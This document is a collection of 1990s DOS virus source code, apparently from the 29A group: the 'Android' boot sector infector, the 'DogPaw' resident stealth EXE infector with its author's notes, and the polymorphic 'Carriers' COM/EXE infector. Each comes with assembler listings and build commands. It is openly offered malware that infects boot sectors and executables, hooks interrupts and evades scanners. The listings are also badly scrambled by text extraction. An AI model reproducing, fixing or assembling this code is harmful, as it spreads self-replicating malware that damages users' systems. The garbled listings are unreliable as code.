Ok, here is a boot virus which uses my engine, VRBL. The virus is a simple MBR/BOOT infector, with stealth only in the harddrive. It is fucking simple. When you boot from a floppy, it infects the MBR and continues booting from the harddrive, so, if you forget a floppy in the drive and reboot, you won't be warned about this. Everything will work nice. Int 13h is hooked, and if the harddrive MBR is accessed, the reads will be stealthed. When a floppy is accessed, the boot sector will be overwritten by the random loader, and the virus code will be put in the last sector of the root dir in 1.44 floppies. Other size of floppies will be probably damaged, although this hasn't been tested yet. The virus, to be really efficient, needs to be polymorphic in the code as well. To detect this virus, you only need to scan 0/0/3 in harddrives and 0/1/13 in floppies for a certain signature. Despite of this, Android will force AVs to change their scanners, because they will need to check other sectors than 0/0/1. tasm /m /l android.asm tlink android.exe exe2bin android.exe android.com

.model tiny .code .386 org 0 startvirus: xor ax, ax cli mov ss, ax mov sp, 7c00h sti mov ds, ax sub word ptr ds:[413h], 3 mov ax, word ptr ds:[13h*4] mov word ptr cs:[old13], ax mov ax, word ptr ds:[13h*4+2] mov word ptr cs:[old13+2], ax int 12h shl ax, 6 push ax pop es push cs pop ds mov cx, offset buffer-offset startvirus xor si, si mov di, si rep movsb push es push offset highentry retf highentry: push cs pop es

push 0 pop ds mov ax, cs mov word ptr ds:[13h*4+2], ax mov word ptr ds:[13h*4], offset int13 push cs pop ds mov ax, 201h mov bx, offset buffer mov cx, 3 mov dx, 80h pushf call dword ptr cs:[old13] mov ax, word ptr [startvirus] cmp word ptr [bx], ax je hdinfected infecthd: mov ax, 201h mov bx, offset buffer mov cx, 1 mov dx, 80h pushf call dword ptr cs:[old13] mov ax, 301h mov bx, offset buffer mov cx, 2 mov dx, 80h pushf call dword ptr cs:[old13] mov ax, 303h xor bx, bx mov cx, 3 mov dx, 80h pushf call dword ptr cs:[old13] mov cx, 3 mov dx, 80h mov di, offset buffer call makeloader mov ax, 301h mov bx, offset buffer mov cx, 1 mov dx, 80h pushf call dword ptr cs:[old13] hdinfected: push 0 pop es mov ax, 201h mov bx, 7c00h mov cx, 2 mov dx, 80h pushf call dword ptr cs:[old13] push es push bx retf random_init: ret random: in al, 40h

xchg ah, al in al, 40h ret int13: cmp ah, 2 jne exit cmp cx, 1 jne exit cmp dh, 0 jne exit pushf call dword ptr cs:[old13] jc error cmp dl, 80h jne infect mov ax, 201h mov cx, 2 mov dx, 80h pushf call dword ptr cs:[old13] dec cx jmp error infect: pusha push es push ds mov cx, 512 push es push cs pop es pop ds mov si, bx mov di, offset buffer rep movsb push cs pop ds mov di, offset buffer mov word ptr [di], 03cebh add di, 3ch mov cx, 13 mov dx, 100h call makeloader mov ax, 301h mov bx, offset buffer mov cx, 1 xor dx, dx pushf call dword ptr cs:[old13] mov ax, 303h xor bx, bx mov cx, 13 mov dx, 100h pushf call dword ptr cs:[old13] pop ds pop es popa error: retf 2 exit: old13

db 0eah dd ?

db '[Android] by Vecna/29A', 10, 13 db 'Written in Brazil in 1997', 10, 13 include vrbl.asm seg_need db 65h buffer db 512 dup (?) end

startvirus

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; : ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

DogPaw.720 by Jacky Qwerty/29A

This simple DOS us by Microsoft has to do with 32-bit systemz.

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

virus exploits a certain feature graciosly implemented for and which is present in Win95, WinNT and probably OS/2. It non-DOS aplicationz run from DOS boxez opened under these It doesnt aply to Win3.1, tho.

In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box, the comon frustratin mesage "This program cannot be run in DOS mode" or "This program requires Microsoft Windows" apeared. The guyz at Microsoft always lookin for enhancementz finaly made it right with NT and Win95 and wisely put an end to this nuisance. Under these 32-bit systemz, whenever u execute a non-DOS aplication from a DOS box, the system loader no longer executes the DOS stub program which displays such mesage, it actually ends up executin the real Win3.1 or Win32 aplication just as if u had doubleclicked the program on yer desktop to execute it. But what has this thing got to do with us? Can this feature be used in a virus? the answer is yes. I wrote this virus just to ilustrate how the above feature can be cleverly used in a virus. For this reason, DogPaw lacks all kindz of poly, retro, antidebug, etc. but it implements full stealth tho, and encrypts data of the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio" from undernet #virus as he seems to be the first one havin exploited this.

Technical description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, WinNT and OS/2 programz. It infects filez on close and execute and disinfects them on open. I dont like this kind of stealth at all but it was more than necesary in order to exploit the forementioned feature. When DogPaw infects a file, it encrypts the first 720 bytez of the host, includin its MZ header and stores it at the end of the file, then it overwrites the first 720 bytez of the host with the virus code itself, which is really DOS program code. This way what the virus really does is convertin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz containin virus code. This doesnt mean that such filez are trojanized or damaged, they are fully functional after infection, read on. When a DogPaw-infected file is executed, the system treats it as a genuine DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc). This way the virus executes as a DOS 16-bit program and plants a resident copy in DOS memory. After this the virus has to execute the original aplication, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it disinfects the host by decryptin the original data at the end of file and writes it back to the begin of file previosly overwriten with virus code. Next the virus executes the original host and, becoz of the above feature, the system finally executes the original Win3.1, Win32 or OS/2 aplication just as if it had been executed from outside a DOS box. The disadvantagez of this method are plain to see. Microsoft obviosly dont want people to write clumsy DOS programz, tho it is still suportin old DOS aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is needed in order to make the migration from DOS to Win32 less painfully and troublesome. But once this DOS compatibility disapears from these systemz, those nonDOS programz infected by this virus wont be able to run or spread

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

further from inside these 32-bit OS's. As u can see its not wise at all to still depend on obsolete goofie DOS in order to infect 32-bit aplicationz. For this purpose we must interact directly with the 32-bit file format, ie the PE format itself. There is no way to circumvent this in the future ;)

A dog paw tale ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Some weekz ago i stole my dady's car to take a short ride around the block and i was so nervous that i almost crashed twice: the first time with a huge big garbage truck (yea even tho i wear glasez) and the second time with a little grandma crossin down the street. Shit.. that was enough for the day, i didnt want to kill anybody nor get killed at worst, so i decided to go back home. I turned on the radio and started to sing "the sidewinder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i had been about to crash twice. Why did i have to open my mouth! Just when i was about to turn right at the next block i heard a suden "crash" followed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right tirez. Shit what da hell was that..? i looked back thru the front mirror just to know the answer. On the road i had left behind, there lied a poor crushed dog. Ohh shit i crushed a dog! Now from time to time when that scene comes to my mind, all i see is that unfortunate squeezed dog wavin goodbye with his paw.. the poor dog paw. #8I

Greetingz ÄÄÄÄÄÄÄÄÄ And finaly the greetingz go to: Casio ......... Tcp/29A ....... Spanska ....... Reptile/29A ... Rilo .......... Liquiz ........

Yer Rusty was kewl.. but throw 'way that ASIC dude! Wooow! yer disasembliez rock man.. really rock! Dont get drunk too often ;) greetingz to Elvira.. Not even a garden full of ganja can stop ya heh #8S Confess budie: Rilo Drunkie + Belch = Car crash ;) Still watin to see that poly of yourz.. #8)

Disclaimer ÄÄÄÄÄÄÄÄÄÄ This source code is for educational purposez only. The author is not responsible for any problemz caused due to the assembly of this file.

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm -ml -m5 -q -zn dogpaw.asm tlink -t -x dogpaw, dogpaw.exe

(c) 1997 Jacky Qwerty/29A.

.model .286

tiny

include useful.inc include MZ.inc v_mark v_size_bytes b_size_bytes s_size_bytes v_size_words

equ equ equ equ equ

'GD' v_end - v_start v_size_bytes 100h (v_size_bytes + 1) / 2

;virus ;virus ;bufer ;stack ;virus

mark size size size size

in in in in

bytez bytez bytez wordz

v_size_paras v_size_sects v_size_kilos v_size_div_512 v_size_mod_512

equ equ equ equ equ

m_size_bytes

equ

m_size_words m_size_paras

equ equ

(v_size_bytes + 15) / 16 (v_size_bytes + 511) / 512 (v_size_bytes + 1023) / 1024 v_size_bytes / 512 v_size_bytes \ - (512 * v_size_div_512) v_size_bytes + (b_start \ - v_end) + b_size_bytes \ + s_size_bytes (m_size_bytes + 1) / 2 (m_size_bytes + 15) / 16

org

100h

;virus size in paragraphz ;virus size in sectorz ;virus size in kilobytez ;virus size div 512 ;virus size mod 512 ; ;memory size in bytez ; ; ;memory size in wordz ;memory size in paragraphz

.code v_start: MZ_Header

IMAGE_DOS_HEADER < IMAGE_DOS_SIGNATURE, v_size_mod_512, v_size_sects, 0, 0, m_size_paras, m_size_paras, -11h, (m_size_bytes + 111h) and -2 v_mark, entry_point, -10h > org

old_MZ_low_ptr dw old_MZ_high_ptr dw

\ \ \ \ \ \ \ \ \ \ \ \ \

;MZ header start ;MZ_magic ;MZ_cblp ;MZ_cp ;MZ_crlc ;NZ_cparhdr ;MZ_minalloc ;MZ_maxalloc ;MZ_ss ;MZ_sp ;MZ_csum ;MZ_ip ;MZ_cs

(v_start + MZ_lfarlc) 0 0

c_start: Copyright

db db db db db db db db db db db db db db db

'D' 'o' 'g' 'P' 'a' 'w' ' ' 'J' 'x' 'Q' '/' '2' '9' 'A' 0

xor xor xor xor xor xor xor xor xor xor xor xor xor xor xor

66h 66h 66h 66h 66h 66h 66h 66h 66h 66h 66h 66h 66h 66h 66h

push pop mov

cs ds ds:[flag],al

test org

al,? $ - 1

common_clean_ds:

common_clean:

;clear carry (clean file)

common_infect:

stc pusha mov jnc mov mov cld @endsz std lodsw lodsw cld and add jnz lodsw and add jnz

common:

;set carry (infect file)

bp,offset clean + 1 common si,dx bp,offset infect + 1

al,not 20h al,-'E' to_popa_ret

;check for EXE extension

ax,not 2020h ax,-'XE' to_popa_ret

;this function cleans or infects a file ;on exit: ; flag = 0, if error

mov call jc xchg push call jc push pop call jc cmp jnz mov cmp jnz add end_close_clc: clc end_close: pushf mov call pop dec lahf pop or shl pop xor sahf jbe

ax,3D00h call_int_21 ;open file in read/only mode to_popa_ret bx,ax ds dx ptr2begin ;move file pointer to begin of file end_close cs ds read ;read first 720 bytez end_close word ptr [si.MZ_csum],v_mark ;check infection end_close_clc ax,[si.MZ_magic] word ptr [si.MZ_maxalloc],m_size_paras end_close_clc ax,-IMAGE_DOS_SIGNATURE ;check MZ signature

ah,3Eh call_int_21 ax bp

;close file

dx al,ah ah,4 ds ah,al end_popa_ret

;if (carry or zero)

mov call to_popa_ret: jc

ax,4300h call_int_21 end_popa_ret

;save old file atributes

push mov

ds si,4*24h-80h

call pop pusha mov mov call

get_int ds

push mov mov call pop jc

cx cl,20h ax,4301h call_int_21 cx end_2popa_ret

mov call jc

ax,3D02h call_int_21 restore_atrib

pusha xchg mov call jc

bx,ax ax,5700h call_int_21 close_file

;ax, bx, si bx,cs ax,offset new_24 set_int

;set read/write file atributes

;open file in read/write mode

;cx, dx ;get data & time

push pusha

ds es

push pop mov lea call jc mov

cs cs ds es si,offset b_start di,[si + old_MZ_low_ptr - v_start] bp ;clean or infect err_file ds:[flag],al ;al!=0 (check this while debugin)

err_file: popa pop

es ds

mov call

ax,5701h call_int_21

;set data & time

close_file: mov call popa

ah,3Eh call_int_21

;close file

restore_atrib: mov call

ax,4301h call_int_21

;restore old atributes

end_2popa_ret: popa call

set_int

end_popa_ret: popa end_ret: ret infect

proc

;infects a file

mov

cx,b_size_bytes

cld encrypt: lodsb ror xor mov

;encrypt old MZ header al,cl al,0C5h [si-1],al

loop

encrypt

mov cwd call jc

ax,4202h

pusha call jc lodsw xchg mov mov cld move_virus: lodsb stosb loop popa

;move file pointer to end of file

call_int_21 end_ret

write end_popa_ret

;write old MZ header to end of file

;move virus code to buffer area dx,di si,offset v_start ds:[old_MZ_Magic],ax

move_virus

stosw xchg stosw

ax,dx

;hardcode file location in virus code ; ;

jmp

ptr2new

;move file pointer to actual MZ header

infect

endp

get_int:

;gets an interrupt vector ;on entry: ; SI = int number * 4 ; DS = 0 ;on exit: ; DX:AX = int vector adress retrieved

clean

push pop mov mov ret

8 ds bx,[si+2] ax,[si]

proc

;cleans an infected file

mov mov pusha call jc

cx,[di + 2] dx,[di]

;old_MZ_high_ptr ;old_MZ_low_ptr

ptr2old end_popa_ret

;move file pointer to old MZ header

call jc

read end_popa_ret

;read old MZ header

cmp old_MZ_Magic = stc jnz cld decrypt: lodsb xor rol mov

word ptr [si.MZ_magic],1234h ;check old MZ header word ptr $-2 end_popa_ret ;decrypt old MZ header al,0C5h al,cl [si-1],al

loop

decrypt

popa call jc

ptr2old ptr2new

sub mov call

cx,cx ah,40h call_int_21

ptr2new: call jc

;move file pointer to old MZ header

;remove old MZ header from end of file

ptr2begin end_clean

;move file pointer to actual MZ header

;write MZ header

write:

mov cmp org

ah,40h ax,? $-2

read:

mov mov mov call jc cmp mov

ah,3Fh ;read MZ header dx,offset b_start cx,b_size_bytes call_int_21 end_rd_wr ax,cx si,dx

end_rd_wr: end_clean: ret clean

endp

entry_point:

mov x = push mov int cld pop add mov jz

ax,30AFh 4*21h-80h x di,offset old_int_21 21h

push call mov stosw pop xchg stosw mov call

ds get_int [1+bp-x+si-x],ds

already: push mov get_prog: inc cmp jnc lea pop @copysz

exec:

si al,-0AFh bp,si already

;check if already installed

;yea we're instaled, jump ;hook int 21h & stay resident

ax ax,bx ax,offset new_int_21 set_int di ds,[2Ch+10h+bp-x] si [si],bp get_prog si,[si+4+bp-x] dx

;get program filename

call

common_clean_ds

;clean infected program

cmp

al,ds:[flag]

;prevent circular execution

jz push mov mov call mov mov pusha mov mov call popa mov call pop

exit ds bx,offset p_block ah,0Dh call_int_21 [bx+4],ds [bx+8],cs

call

common_infect

exit:

mov jmp

ah,4Ch call_int_21

;exit to DOS

p_block

dw dw dw dw dw dw dw

0 80h ? 5Ch ? 6Ch ?

;parameter block to be used by 4B00h

new_24:

mov iret

al,3

ptr2begin:

xor mov mov pushf push call ret

dx,dx cx,dx ax,4200h

ptr2old: call_int_21:

set_int:

;execute program

[bx+0Ch],es ax,4B00h call_int_21 ah,4Dh call_int_21 ds

;move file pointer to actual MZ header

;call old INT 21h cs jmp_int_21

;sets an interrupt vector ;on entry: ; SI = int number * 4 ; DS = 0 ; DX:AX = int vector adress to store push push pop mov mov pop ret

ds 8 ds [si+2],bx [si],ax ds

push pusha mov push mov int jc mov

ds es

infect_on_close:

;infect on file close

bp,sp cs bx ax,1220h 2Fh fail_dcb bl,es:[di]

;use file system tablez

fail_dcb:

copy_name:

copy_ext:

fail_close_clc: fail_close:

cmp cmc jc mov int pop pushf mov call mov pop jc shr jc mov and mov sub mov mov inc mov call jc cld dec push lea mov pop stosb add scasb jnz sub dec mov cmp pop push jz stosb lodsb cmp loopnz pop mov mov sub stosb lodsb cmp loopnz xor stosb push pop mov call clc popa pop retf

bl,-1 fail_dcb ax,1216h 2Fh bx ds ah,3Eh call_int_21 ;close file [bp.Pusha_ax],ax ax fail_close al,1 fail_close_clc ax,':'*100h + mask BDA_DriveNumber al,byte ptr es:[di.DCB_DeviceAtribs] dl,al al,-'A' si,offset program_name + 3 [si-3],ax dx ah,47h call_int_21 ;get current directory fail_close_clc si es si ds si,[di.DCB_FileName] al,'\' es di al,-'\' ; al=0 $ - 1 al,-'\' ; al='\' di cx,size DCB_FileName + 1 al,[di-1] ds si $+3 ;atach file name to path al,20h copy_name si al,'.' cl,size DCB_FileExt + 1 si,- size DCB_FileName ;atach file extension to file name al,20h copy_ext al,al cs ds dx,offset program_name common_infect ;infect the file

es ds 2

on_close: jmp self_check:

go_iret: new_int_21:

chk_3E: chk_30: chk_4B:

chk_3D:

cmp jnz mov cld movs movs iret cli push push inc dec pop inc pop sti jnz cmp jz cmp jz cmp jnz call cmp jnz call

infect_on_close di,offset old_int_21 jmp_int_21 si,di word ptr es:[di],cs:[si] word ptr es:[di],cs:[si]

ax -1 sp sp ax ax ax go_iret ah,3Eh on_close ax,30AFh self_check ah,4Bh chk_3D common_infect ah,3Dh jmp_int_21 common_clean

jmp_int_21: v_end: old_int_21

db

0EAh

dd

?

program_name flag b_start:

db db

80h dup (?) ?

end

v_start

;copy old int 21h ;

;new INT 21h service routine ;antitrace.. dont fuck with me

;close? ;are we already installed? ;execute?

;open?

;JMP SEG:OFF opcode ;virus end on filez ;old INT 21h vector ;buffer to hold program namez ;used to prevent circular execution ;start of internal buffer

comment * Carriers Code by Darkman/29A

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Carriers is a 1332 bytes parasitic resident COM/EXE/Overlay virus. Infects files at close file, delete file, get or set file attributes, load and/or execute program and rename file by appending the virus to the infected file. Carriers has an error handler, filesize stealth, retro structures and is polymorphic in file using its internal polymorphic engine. Carriers is using the server function call DOS exploit. Compile Carriers with Turbo Assembler v 4.0 by typing: TASM /M CARRIERS.ASM TLINK /x CARRIERS.OBJ EXE2BIN CARRIERS.EXE CARRIERS.COM (optional) * .model tiny .code code_begin: jmp

move_mcb

db virus_begin: cld push

0dh dup(?)

call delta_offset: pop sub

delta_offset

ds es

; Memory Control Block (MCB)

; Clear direction flag ; Save segments at stack

si ; Load SI from stack si,(offset delta_offset-code_begin)

mov dec mov

ax,ds ax ds,ax

xor cmp jne mov sub sub mov

di,di ; Zero DI byte ptr [di],'Z' ; Last block in chain? virus_exit ; Already resident? Jump to virus_... byte ptr [di],'M' ; Not last block in chain word ptr [di+03h],(data_end-code_begin+0fh)/10h word ptr [di+12h],(data_end-code_begin+0fh)/10h es,[di+12h] ; ES = segment of the virus

push mov segcs rep

si ; Save SI at stack cx,(data_end-code_begin+01h)/02h ; Code segment as source segment movsw ; Move the virus to top of memory

mov lea mov movsw movsw mov mov pop virus_exit: pop

; AX = segment of PSP for current ... ; AX = segment of current Memory C... ; DS = " " " " "

ds,cx ; DS = segment of interrupt table di,int21_addr ; DI = offset of int21_addr si,(21h*04h) ; SI = offset of interrupt 21h ; Get interrupt vector 21h ; " " " " word ptr [si-04h],offset int21_virus [si-02h],es ; Set interrupt vector 21h si ; Load SI from stack es ds

; Load segments from stack

mov mov cmp je

ax,ds ; AX = segment of PSP for current ... di,cs ; DI = code segment ax,di ; COM or EXE/Overlay executable? vir_com_exit ; Equal? Jump to vir_com_exit

add add

ax,10h ; AX = segment of beginning of EXE... cs:[si+initial_cs],ax

cli ; Clear interrupt-enable flag initial_sp equ word ptr $+01h ; Initial SP mov sp,00h ; SP = initial SP initial_ss equ word ptr $+01h ; Initial SS relative to start of ... add ax,00h ; Add initial SS relative to start... mov ss,ax ; SS = initial SS relative to star... sti ; Set interrupt-enable flag call

zero_regs

db initial_ip dw initial_cs dw vir_com_exit: mov push lea movsw movsb

11101010b 00h 0fff0h

zero_regs

near ax,ax di,ax si,ax

proc xor mov mov

; JMP imm32 (opcode 0eah) ; Initial IP ; Initial CS relative to start of ...

di,100h ; DI = offset of beginning of code di ; Save DI at stack si,[si+origin_code] ; SI = offset of origin_code ; Move the original code to beginning ; " " " " " "

ret endp

; Zero registers ; Zero AX ; Zero DI ; Zero SI ; Return!

int21_virus proc near ; Interrupt 21h of Carriers push bx cx ds es ; Save registers at stack push ax ; Save AX at stack cld mov

al,ah

; Clear direction flag ; AL = function number

cmp je cmp je cmp je cmp je

al,11h fcb_stealth al,12h fcb_stealth al,4eh dta_stealth al,4fh dta_stealth

; Find first matching file (FCB)? ; Equal? Jump to fcb_stealth ; Find next matching file (FCB)? ; Equal? Jump to fcb_stealth ; Find first matching file (DTA)? ; Equal? Jump to dta_stealth ; Find next matching file (DTA)? ; Equal? Jump to dta_stealth

push

dx di si bp

; Save registers at stack

cmp je cmp je cmp je cmp

al,41h open_file al,43h open_file al,4bh open_file al,56h

; Delete file? ; Equal? Jump to open_file ; Get or set file attributes? ; Equal? Jump to open_file ; Load and/or execute program? ; Equal? Jump to open_file ; Rename file?

je

open_file

cmp jne

al,3eh int21_exit

call int21_exit: pop pop pop

; Equal? Jump to open_file ; Close file? ; Not equal? Jump to int21_exit

infect_file bp si di dx

; Load registers from stack

ax ; Load AX from stack es ds cx bx ; Load registers from stack

int21_simula proc near db 11101010b int21_addr dd ? endp endp int24_virus proc near mov al,03h

; Simulate interrupt 21h ; JMP imm32 (opcode 0eah) ; Address of interrupt 21h

; Interrupt 24h of Carriers ; Fail system call in progress

int2a_virus proc near ; Interrupt 2Ah of Carriers iret ; Interrupt return! endp endp open_file: jmp open_file_ fcb_stealth: pop ax ; Load AX from stack call push pushf or jnz

int21_simu__ ax ; Save AX at stack ; Save flags at stack al,al ; Successful? filesiz_exit ; Not successful? Jump to filesiz_...

mov call mov cmp jne

ah,51h ; Get current PSP address int21_simu__ ds,bx ; DS = segment of PSP for current ... ds:[16h],bx ; Parent PSP equal to current PSP? filesiz_exit ; Not equal? Jump to filesiz_exit

mov call

ah,2fh ; Get disk transfer area address int21_simul_

push pop

es ds

cmp jne

byte ptr [bx],0ffh not_extended ; Not extended FCB? Jump to not_ex...

add not_extended: mov mov

bx,07h

; Save ES at stack ; Load DS from stack (ES)

; BX = offset of normal FCB

ax,[bx+09h] cl,[bx+0bh]

; AX = file extension ; CL = " "

mov

ch,[bx+17h]

; CH = low-order byte of file time

add

bx,03h

jmp dta_stealth: pop

; BX = offset of filesize

test_stealth ax

; Load AX from stack

call push pushf jc

int21_simu__ ax ; Save AX at stack ; Save flags at stack filesiz_exit ; Error? Jump to filesiz_exit

mov call

ah,2fh ; Get disk transfer area address int21_simul_

push pop

es ds

push lea

si ; Save SI at stack si,[bx+1eh] ; SI = offset of filename

lodsb cmp jne

al,'.' find_dot

; Save ES at stack ; Load DS from stack (ES)

find_dot:

lodsw xchg lodsb xchg pop mov test_stealth: and cmp jne call jne

ax,cx ax,cx si

; AL = byte of filename ; Found dot in filename? ; Not equal? Jump to find_dot ; AX = file extension ; CX = " " ; AL = file extension ; CL = " " ; Load SI from stack

ch,[bx+16h]

; CH = low-order byte of file time

ch,00011111b ch,00011101b filesiz_exit

; CH = seconds of file time ; Infected (58 seconds)? ; Not infected? Jump to filesiz_exit

tst_file_ext filesiz_exit

; Not equal? Jump to filesiz_exit

sub sbb filesiz_exit: popf pop pop

[bx+1ah],(code_end-code_begin+1482h) word ptr [bx+1ch],00h

retf open_file_: push pop

02h

; Return far and add option-pop-va...

cs es

; Save CS at stack ; Load ES from stack (CS)

; Load flags from stack ax ; Load AX from stack es ds cx bx ; Load registers from stack

mov lea mov call

ah,60h ; Canonicalize filename or path di,filename ; DI = offset of filename si,dx ; SI = " " " int21_simul_

push pop

cs ds

mov mov call xchg

ax,3d00h ; Open file (read) dx,di ; DX = offset of filename int21_simul_ ax,bx ; BX = file handle

call

infect_file

mov call

ah,3eh ; Close file int21_simul_

; Save CS at stack ; Load DS from stack (CS)

jmp

int21_exit

int21_simul_ proc near ; Simulate interrupt 21h push es ds di si dx cx bx ax push pop mov lea mov loop_stack: pop stosw

cs es

; Save CS at stack ; Load ES from stack (CS)

cx,08h ; Move sixteen bytes dx,dpl_begin ; DX = offset of dpl_begin di,dx ; DI = " " " ax

; Load AX from stack ; Store register value within dpl_...

loop

loop_stack

xor stosw stosw

ax,ax

push pop

cs ds

mov call

ah,51h ; Get current PSP address int21_simu__

xchg stosw

ax,bx

mov

ax,5d00h

int21_simu__ proc pushf push cs call

; Zero AX ; Store DOS parameter list (reserved) ; Store DOS parameter list (comput... ; Save CS at stack ; Load DS from stack (CS)

near

; AX = segment of PSP for current ... ; Store segment of PSP for current... ; Server function call ; Simulate interrupt 21h ; Save flags at stack ; Save CS at stack

int21_simula

ret endp endp

; Return!

infect_file proc near ; Infect COM/EXE/Overlay file mov si,(24h*04h)/10h ; SI = segment within interrupt table mov ds,si ; DS = " " " " xor si,si ; Zero SI push push mov mov push push mov mov

[si+(24h*04h)-(24h*04h)] [si+(24h*04h+02h)-(24h*04h)] word ptr [si+(24h*04h)-(24h*04h)],offset int24_virus [si+(24h*04h+02h)-(24h*04h)],cs [si+(2ah*04h)-(24h*04h)] [si+(2ah*04h+02h)-(24h*04h)] word ptr [si+(2ah*04h)-(24h*04h)],offset int2a_virus [si+(2ah*04h+02h)-(24h*04h)],cs

push

ds

mov int

ax,1220h 2fh

push

bx

; Save DS at stack ; Get system file table number

; Save BX at stack

mov mov int pop

ax,1216h bl,es:[di] 2fh bx

mov

byte ptr es:[di+02h],02h

test jnz

byte ptr es:[di+05h],10000000b infect_exit ; Character device? Jump to infect...

mov mov

ax,es:[di+28h] cl,es:[di+2ah]

; AX = file extension ; CL = " "

call jne

tst_file_ext infect_exit

; Not equal? Jump to infect_exit

push pop

cs ds

mov and cmp je

al,es:[di+0dh] al,00011111b al,00011101b infect_exit

; ; ; ;

mov mov

es:[di+15h],si es:[di+17h],si

; Set current file position (SOF) ; Set current file position (SOF)

mov mov lea call

ah,3fh ; Read from file cx,18h ; Read twenty-four bytes dx,origin_code ; DX = offset of origin_code int21_simul_

mov

es:[di+15h],si

push mov add lea rep pop je

di ; Save DI at stack cl,0bh ; Compare eleven bytes di,20h ; DI = offset of filename si,command_com ; SI = offset of command_com cmpsb ; COMMAND.COM? di ; Load DI from stack infect_exit ; Equal? Jump to infect_exit

mov

si,dx

mov mov

ax,es:[di+11h] dx,es:[di+13h]

or jnz cmp jae infect_exit: jmp test_exe_sig: mov

; Get address of system FCB ; BL = system file table entry ; Load BX from stack

; Save CS at stack ; Load DS from stack (CS) AL = low-order byte of file time AL = seconds of file time Previously infected (58 seconds)? Equal? Jump to infect_exit

; Set current file position (SOF)

; SI = offset of origin_code ; AX = low-order word of filesize ; AX = high-order word of filesize

dx,dx ; Filesize too small? test_exe_sig ; Not zero? Jump to test_exe_sig ax,1000h ; Filesize too small? test_exe_sig ; Above or equal? Jump to infect_exit infect_exit_ cx,[si]

; CX = EXE/Overlay signature

xor jz xor jz

cx,'MZ' ; EXE/Overlay signature? test_exe_ov ; Found EXE/Overlay signature? Jum... cx,('ZM' xor 'MZ') ; EXE/Overlay signature? test_exe_ov ; Found EXE/Overlay signature? Jum...

cmp ja

ax,0fef8h-(data_end-code_begin) infect_exit ; Above? Jump to infect_exit

calc_offset: mov

cx,03h

; Write three bytes

sub mov

ax,cx ; AX = offset of virus within infe... [virus_offset],ax ; Store offset of virus within inf...

add xchg

ax,103h ax,bp

xor lea

al,al ; AL = flags dx,infect_code ; DX = offset of infect_code

; AX = decryptor's offset ; BP = " "

jmp test_exe_ov: push push

infect_file_

call

div_by_pages

pop xchg

cx ax,cx

cmp pop jne cmp jne

dx,[si+02h] ; Internal overlay? dx ; Load DX from stack infect_exit ; Not equal? Jump to infect_exit cx,[si+04h] ; Internal overlay? infect_exit ; Not equal? Jump to infect_exit

cmp je

byte ptr [si+18h],40h infect_exit ; New executable? Jump to infect_exit

push push

ax dx di si es

; Save registers at stack ; " " " "

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

lea add movsw

di,initial_ss ; DI = offset of initial_ss si,0eh ; SI = offset of initial SS relati... ; Store initial SS relative to sta...

lea movsw

di,initial_sp ; DI = offset of initial_sp ; Store initial SP

lea cmpsw movsw movsw

di,initial_ip-02h ; DI = offset of initial_ip - 02h ; SI = offset of initial IP ; Store initial IP ; Store initial CS relative to sta...

mov div

cx,10h cx

; Divide by paragraphs ; DX:AX = filesize in paragraphs

mov

bp,dx

; BP = decryptor's offset

pop

es si di

; Load registers from stack

sub

ax,[si+08h]

; Subtract header size in paragrap...

mov mov

[si+14h],dx [si+16h],ax

; Store initial IP ; Store initial CS relative to sta...

add

ax,((code_end-code_begin+1491h)/10h+01h)

dx ax

; Save DX at stack ; " AX " "

; Load CX from stack (AX) ; AX = low-order byte of filesize

mov and

[si+0eh],ax ; Store initial SS relative to sta... word ptr [si+10h],1111111111111110b

pop add adc

dx ax ; Load registers from stack ax,(code_end-code_begin+1482h) dx,00h ; Convert to 32-bit

call

div_by_pages

mov mov

[si+04h],ax [si+02h],dx

mov mov mov infect_file_: push push

; Store total number of 512-bytes ... ; Store number of bytes in last 51...

al,00000011b ; AL = flags cx,18h ; Write twenty-four bytes dx,si ; DX = offset of origin_code es:[di+0dh] es:[di+0fh]

; Save file time at stack ; Save file date at stack

push

ax

mov call

ah,40h ; Write to file int21_simul_

add lea seges movsw seges movsw

di,15h ; DI = offset of current offset in... si,[di-04h] ; SI = offset of filesize ; Extra segment as source segment ; Move low-order word of filesize ... ; Extra segment as source segment ; Move high-order word of filesize...

pop

ax

; Load AX from stack

push pop

cs es

; Save CS at stack ; Load ES from stack (CS)

mov lea xor push call

cx,(code_end-code_begin) di,data_buffer ; DI = offset of data_buffer si,si ; Zero SI bx di ; Save registers at stack c_pe_poly

mov mov pop call

